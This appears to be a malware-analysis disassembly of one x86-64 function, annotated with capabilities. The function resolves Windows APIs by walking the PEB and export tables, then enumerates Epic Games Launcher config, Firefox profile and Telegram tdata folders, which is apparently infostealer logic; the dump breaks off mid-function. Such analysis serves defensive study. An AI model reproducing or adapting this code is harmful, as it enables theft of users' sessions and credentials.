Function at 0x140016bf0
Capabilities:
Access peb ldr_data
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x960]
sub rsp, 0xa60
movaps xmmword [rsp + 0xa50], xmm6
mov rax, qword [0x140181020]
xor rax, rsp
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x130], rdx
mov qword [rbp - 0x18], rcx
mov qword [rbp + 0x410], rdx
xor r14d, r14d
mov qword [rbp + 0x30], r14
mov dword [rsp + 0x64], r14d
lea rax, [rbp + 0x4a0]
mov qword [rbp - 0x30], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EpicGamesLauncher
lea rcx, [rbp + 0xe0]
call fcn.1400216b0
nop
mov rcx, rax
call fcn.14001df90
mov rbx, rax
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x4a0]
call fcn.140005e50
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140016c90
mov rdx, rbx
lea rcx, [rbp + 0x4a0]
call fcn.140005e70
nop
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0x1e0], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EpicGamesLauncherSavedConfigWindows
lea rcx, [rbp + 0x390]
call fcn.140021510
nop
mov rcx, rax
call fcn.14001e0c0
mov r12, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LOCALAPPDATA
lea rcx, [rbp - 0x10]
call fcn.14001f540
nop
mov rcx, rax
call fcn.14001c9e0
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x90]
call fcn.14001f3d0
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov eax, 0x5a4d
cmp qword [rdi + 0x60], 0
je 0x140016e23
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140016e15
cmp word [r11], ax
jne 0x140016e20
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140016e20
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140016e20
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140016e10
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140016e04
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140016dff
cmp byte [rcx], al
jne 0x140016e04
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140016dd4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140016e26
test r8b, r8b
jne 0x140016deb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140016dc0
mov eax, 0x5a4d
cmp qword [rdi + 0x60], 0
jne 0x140016d60
xor r14d, r14d
mov rax, r14
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x140016e83
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140016e50
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x140016e7a
dec rax
cmp rax, 0x104
jae 0x14001b732
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x140016e8a
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x140016ea0
mov rdx, r12
lea rcx, [rbp - 0x80]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.1400058c0
mov dword [rsp + 0x64], 0xc
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x70], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f21c]
lea rcx, [rbp + 0x280]
call fcn.14001e7e0
nop
mov rcx, rax
call fcn.14001cad0
mov r8, rax
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x480]
call fcn.14001e4b0
nop
lea rcx, [rbp + 0x480]
call fcn.140005b60
mov r12, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.FindFirstFileA
lea rcx, [rbp + 0x350]
call fcn.14001e920
nop
mov rcx, rax
call fcn.14001d820
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001702b
mov r13d, 0x5a4d
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001701d
cmp word [r11], r13w
jne 0x14001710d
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001710d
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001710d
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001701d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017011
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001700c
cmp byte [rcx], al
jne 0x140017011
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140016fe4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14001702e
test r8b, r8b
jne 0x140016ffb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140016fd0
cmp qword [rdi + 0x60], 0
jne 0x140016f70
xor r14d, r14d
mov rax, r14
lea rdx, [rbp + 0x540]
mov rcx, r12
call rax
mov qword [rbp + 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x140017b8b
movzx ebx, byte [rsp + 0x60]
movzx edi, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
movzx r12d, byte [rsp + 0x60]
movzx r15d, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r13d, byte [rsp + 0x60]
nop
movzx r8d, bl
lea rdx, [0x14015f230]
lea rcx, [rbp - 0x10]
call fcn.14001ea90
nop
or dword [rsp + 0x64], 0x10
mov rcx, rax
call fcn.14001c7f0
lea rcx, [rbp + 0x56c]
sub rax, rcx
nop dword [rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x1400170b4
inc rcx
test edx, edx
jne 0x1400170a0
test r8d, r8d
je 0x140017114
movzx r8d, dil
lea rdx, [0x14015f234]
lea rcx, [rbp + 0x90]
call fcn.14001ebd0
nop
or dword [rsp + 0x64], 0x20
mov rcx, rax
call fcn.14001cad0
lea rcx, [rbp + 0x56c]
sub rax, rcx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140017104
inc rcx
test edx, edx
jne 0x1400170f0
test r8d, r8d
je 0x140017114
xor cl, cl
jmp 0x140017116
xor eax, eax
jmp 0x14001702e
mov cl, 1
mov eax, dword [rsp + 0x64]
test al, 0x20
je 0x140017125
and eax, 0xffffffdf
mov dword [rsp + 0x64], eax
test al, 0x10
je 0x140017130
and eax, 0xffffffef
mov dword [rsp + 0x64], eax
test cl, cl
jne 0x14001794b
movzx r8d, r14b
lea rdx, [0x14015f238]
lea rcx, [rbp + 0x208]
call fcn.14001ed10
nop
mov rcx, rax
call fcn.14001c7f0
mov r8, rax
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp - 0x10]
call fcn.14001e4b0
nop
lea r8, [rbp + 0x56c]
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.14001e520
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
nop
test byte [rbp + 0x540], 0x10
je 0x140017230
lea rax, [rbp + 0x90]
mov qword [rbp - 0x30], rax
movzx r8d, r12b
lea rdx, [0x14015f238]
lea rcx, [rbp + 0x240]
call fcn.14001ee50
nop
mov rcx, rax
call fcn.14001c7f0
mov r8, rax
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x190]
call fcn.14001e4b0
nop
lea r8, [rbp + 0x56c]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14001e520
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x140]
call fcn.140005930
nop
mov r9, qword [rbp - 0x58]
mov r8b, 1
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.140015510
nop
lea rcx, [rbp + 0x190]
call fcn.140005a50
nop
jmp 0x14001793f
lea rdx, [0x14015f218]
lea rcx, [rbp + 0x500]
call fcn.1400058f0
nop
movzx r8d, r15b
lea rdx, [0x14015f238]
lea rcx, [rbp + 0x90]
call fcn.14001ef90
nop
mov rcx, rax
call fcn.14001c7f0
mov r8, rax
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp - 0x10]
call fcn.14001e4b0
nop
mov rdx, rax
lea rcx, [rbp + 0x500]
call fcn.14001e490
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
nop
lea rax, [rbp + 0x56c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400172a0
lea rdx, [rbp + 0x56c]
lea rcx, [rbp + 0x500]
call fcn.140005ad0
lea rcx, [rbp + 0x4e0]
call fcn.140005b60
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov qword [rbp - 0x58], rax
mov rcx, rax
call fcn.140005b60
mov qword [rbp - 0x48], rax
movzx r8d, r13b
lea rdx, [0x14015f260]
lea rcx, [rbp + 0x140]
call fcn.14001e670
nop
mov rcx, rax
call fcn.14001d6f0
mov qword [rsp + 0x68], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017414
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x28], rdx
test r10, r10
je 0x14001731e
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017414
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017414
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017414
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x50], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp + 0x40], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x20], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x40], eax
test eax, eax
je 0x14001731e
nop dword [rax]
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x1400173fb
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x1400173f6
cmp byte [rcx], al
jne 0x1400173fb
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400173c7
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x50]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor eax, eax
jmp 0x140017419
test r8b, r8b
jne 0x1400173de
inc r11d
inc r9
cmp r11d, dword [rbp - 0x40]
mov rcx, qword [rbp + 0x40]
jb 0x1400173b0
mov rdx, qword [rbp - 0x28]
jmp 0x14001731e
xor eax, eax
mov r11d, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x48]
xor edx, edx
mov ecx, 0xfde9
call r11
mov dword [rsp + 0x68], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x48]
call fcn.14001e3a0
or dword [rsp + 0x64], 0x80
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rax, qword [rbp + 0x48]
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x58]
call fcn.140005b60
mov qword [rbp - 0x60], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f260]
lea rcx, [rbp + 0x190]
call fcn.14001e670
nop
mov rcx, rax
call fcn.14001d6f0
mov qword [rbp - 0x48], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017591
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x20], rdx
test r10, r10
je 0x1400174aa
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017591
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017591
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017591
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp + 0x40], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x50], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x28], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x40], eax
test eax, eax
je 0x1400174aa
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140017578
mov rdx, qword [rbp - 0x48]
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140017573
cmp byte [rcx], al
jne 0x140017578
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017546
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp + 0x40]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x140017594
test r8b, r8b
jne 0x14001755d
inc r11d
inc r9
cmp r11d, dword [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
jb 0x140017530
mov rdx, qword [rbp - 0x20]
jmp 0x1400174aa
xor r11d, r11d
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call r11
nop
mov rcx, qword [rbp - 0x58]
call fcn.140005a50
lea rcx, [rbp + 0x48]
call fcn.14001e4a0
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x500]
call fcn.140005b60
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400058f0
mov qword [rbp - 0x58], rax
mov rcx, rax
call fcn.140005b60
mov qword [rbp - 0x28], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f260]
lea rcx, [rbp + 0x140]
call fcn.14001e670
nop
mov rcx, rax
call fcn.14001d6f0
mov qword [rbp - 0x60], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017724
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x48], rdx
test r10, r10
je 0x140017635
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017724
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017724
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017724
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x20], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x38], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x50], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x140017635
nop dword [rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x14001770a
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017705
cmp byte [rcx], al
jne 0x14001770a
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400176d6
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x20]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor eax, eax
jmp 0x140017729
test r8b, r8b
jne 0x1400176ed
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x38]
jb 0x1400176c0
mov rdx, qword [rbp - 0x48]
jmp 0x140017635
xor eax, eax
mov r11d, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x28]
xor edx, edx
mov ecx, 0xfde9
call r11
mov dword [rbp - 0x40], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x68]
call fcn.14001e3a0
or dword [rsp + 0x64], 0x100
lea rax, [rbp + 0x68]
cmp qword [rbp + 0x80], 8
cmovae rax, qword [rbp + 0x68]
mov qword [rbp - 0x28], rax
mov rcx, qword [rbp - 0x58]
call fcn.140005b60
mov qword [rbp + 0x40], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f260]
lea rcx, [rbp + 0x190]
call fcn.14001e670
nop
mov rcx, rax
call fcn.14001d6f0
mov qword [rbp - 0x60], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x1400178b2
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x48], rdx
test r10, r10
je 0x1400177bc
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x1400178b2
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400178b2
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x1400178b2
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x20], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x38], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x50], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x1400177bc
nop dword [rax]
nop word [rax + rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140017898
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017893
cmp byte [rcx], al
jne 0x140017898
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017866
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x20]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x1400178b5
test r8b, r8b
jne 0x14001787d
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x38]
jb 0x140017850
mov rdx, qword [rbp - 0x48]
jmp 0x1400177bc
xor r11d, r11d
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x40]
xor edx, edx
mov ecx, 0xfde9
call r11
nop
mov rcx, qword [rbp - 0x58]
call fcn.140005a50
lea rcx, [rbp + 0x68]
call fcn.14001e4a0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8, qword [rbp - 0x30]
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.140033ef0
mov eax, dword [rsp + 0x64]
btr eax, 8
mov dword [rsp + 0x68], eax
lea rcx, [rbp + 0x68]
call fcn.14001e330
mov eax, dword [rsp + 0x68]
btr eax, 7
mov dword [rsp + 0x64], eax
lea rcx, [rbp + 0x48]
call fcn.14001e330
nop
lea rcx, [rbp + 0x500]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4e0]
call fcn.140005a50
movzx r8d, sil
lea rdx, str.FindNextFileA
lea rcx, [rbp - 0x10]
call fcn.14001f0d0
nop
mov rcx, rax
call fcn.14001d290
mov qword [rbp - 0x30], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017a72
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x38], rdx
test r10, r10
je 0x140017980
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017a72
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017a72
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017a72
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x50], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x60], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x48], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x140017980
nop word [rax + rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140017a58
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017a53
cmp byte [rcx], al
jne 0x140017a58
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017a26
mov rax, qword [rbp - 0x48]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x50]
mov r8d, dword [rcx + rax*4]
add r8, r10
jmp 0x140017a75
test r8b, r8b
jne 0x140017a3d
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x60]
jb 0x140017a10
mov rdx, qword [rbp - 0x38]
jmp 0x140017980
xor r8d, r8d
lea rdx, [rbp + 0x540]
mov rcx, qword [rbp + 0x38]
call r8
nop
test eax, eax
jne 0x140017070
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f250]
lea rcx, [rbp - 0x10]
call fcn.14001f230
nop
mov rcx, rax
call fcn.14001c8d0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017b82
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017ac2
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x140017b82
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017b82
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017b82
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017ac2
nop dword [rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017b71
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140017b6c
cmp byte [rcx], al
jne 0x140017b71
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017b44
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140017b84
test r8b, r8b
jne 0x140017b5b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017b30
jmp 0x140017ac2
xor eax, eax
mov rcx, qword [rbp + 0x38]
call rax
nop
lea rcx, [rbp + 0x480]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4c0]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4a0]
call fcn.140005a50
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.MozillaFirefoxProfiles
lea rcx, [rbp + 0x90]
call fcn.140021810
nop
mov rcx, rax
call fcn.14001cdd0
mov r12, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
movzx r8d, byte [rsp + 0x60]
lea rdx, str.APPDATA
lea rcx, [rbp - 0x10]
call fcn.14001f800
nop
mov rcx, rax
call fcn.14001e200
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xe0]
call fcn.14001f690
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017d1a
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017c50
mov r14d, 0x5a4d
cmp word [r11], r14w
jne 0x140017d14
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017d14
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017d14
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017c50
nop dword [rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017d03
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140017cfe
cmp byte [rcx], al
jne 0x140017d03
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017cd4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017d1e
test r8b, r8b
jne 0x140017ceb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017cc0
jmp 0x140017c50
xor ebx, ebx
mov eax, ebx
jmp 0x140017d24
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x140017d83
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140017d50
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x140017d7a
dec rax
cmp rax, 0x104
jae 0x14001b738
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x140017d8a
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x140017da0
mov rdx, r12
lea rcx, [rbp - 0x80]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.1400058c0
lea r8, [rbp + 0x480]
mov rdx, qword [rbp - 0x18]
mov rcx, qword [0x140187598]
call fcn.1400279d0
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.Telegram_Desktop_tdata
lea rcx, [rbp + 0xe0]
call fcn.140021990
nop
mov rcx, rax
call fcn.14001d030
mov r12, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
movzx r8d, byte [rsp + 0x60]
lea rdx, str.APPDATA
lea rcx, [rbp - 0x10]
call fcn.14001f800
nop
mov rcx, rax
call fcn.14001e200
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x90]
call fcn.14001f690
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017f57
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017f3f
cmp word [r11], r14w
jne 0x140017f52
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017f52
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017f52
lea rax, [r11 + rcx]
